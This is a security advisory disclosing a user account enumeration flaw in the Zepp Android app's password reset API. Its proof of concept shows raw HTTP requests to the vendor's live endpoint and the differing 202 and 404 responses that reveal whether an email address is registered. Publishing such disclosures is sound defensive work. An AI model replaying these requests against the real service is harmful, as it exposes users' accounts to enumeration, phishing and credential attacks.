# Trovent Security Advisory 2108-02 # ##################################### User account enumeration in password reset function ################################################### Overview ######## Advisory ID: TRSA-2108-02 Advisory version: 1.0 Advisory status: Public Advisory URL: https://trovent.io/security-advisory-2108-02 Affected product: Zepp Android mobile application (com.huami.watch.hmwatchmanager) Tested versions: Zepp 6.1.4-play Vendor: Huami Inc., https://www.zepp.com Credits: Trovent Security GmbH, Karima Hebbal Detailed description #################### Zepp is a mobile application to collect health information from Zepp or Amazfit devices. Trovent Security GmbH discovered a user account enumeration vulnerability in the password reset function of the Zepp mobile application. This vulnerability allows to check if a user with a specific email address is registered or not. Severity: Medium CVSS Score: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) CWE ID: CWE-204 CVE ID: N/A Proof of concept ################ Sample HTTP request sent with a registered email address: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ DELETE /registrations/ptesttest33%40gmail.com/password?region=us-west-2&marketing=AmazFit HTTP/2 Host: api-user.huami.com App_name: com.huami.midong Accept-Language: en-US X-Request-Id: a8a25f6c-e392-4013-b39d-d8b68db532a0 Content-Type: application/x-www-form-urlencoded User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; ONEPLUS A6003 Build/QKQ1.190716.003) Accept-Encoding: gzip, deflate Content-Length: 0 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The server response to a valid email address: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ HTTP/2 202 Accepted Date: Mon, 30 Aug 2021 12:38:52 GMT Content-Type: application/json Content-Length: 39 Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers "HuaMi Oauth / User Registration 2.0.2" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Sample HTTP request sent with a non-registered email address: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ DELETE /registrations/false%40gmail.com/password?region=us-west-2&marketing=AmazFit HTTP/2 Host: api-user.huami.com App_name: com.huami.midong Accept-Language: en-US X-Request-Id: a8a25f6c-e392-4013-b39d-d8b68db532a0 Content-Type: application/x-www-form-urlencoded User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; ONEPLUS A6003 Build/QKQ1.190716.003) Accept-Encoding: gzip, deflate Content-Length: 0 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The server response to an invalid email address: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ HTTP/2 404 Not Found Date: Mon, 30 Aug 2021 12:40:08 GMT Content-Type: application/json Content-Length: 39 Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers "HuaMi Oauth / User Registration 2.0.2" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution / Workaround ##################### Ensure the application returns a consistent message for both existent and non-existent accounts during the password reset process. History ####### 2021-08-30: Vulnerability found & advisory created 2021-09-24: Vendor contacted 2021-10-25: Vendor contacted again 2021-11-18: Vendor contacted again 2022-04-27: No reaction from vendor, advisory published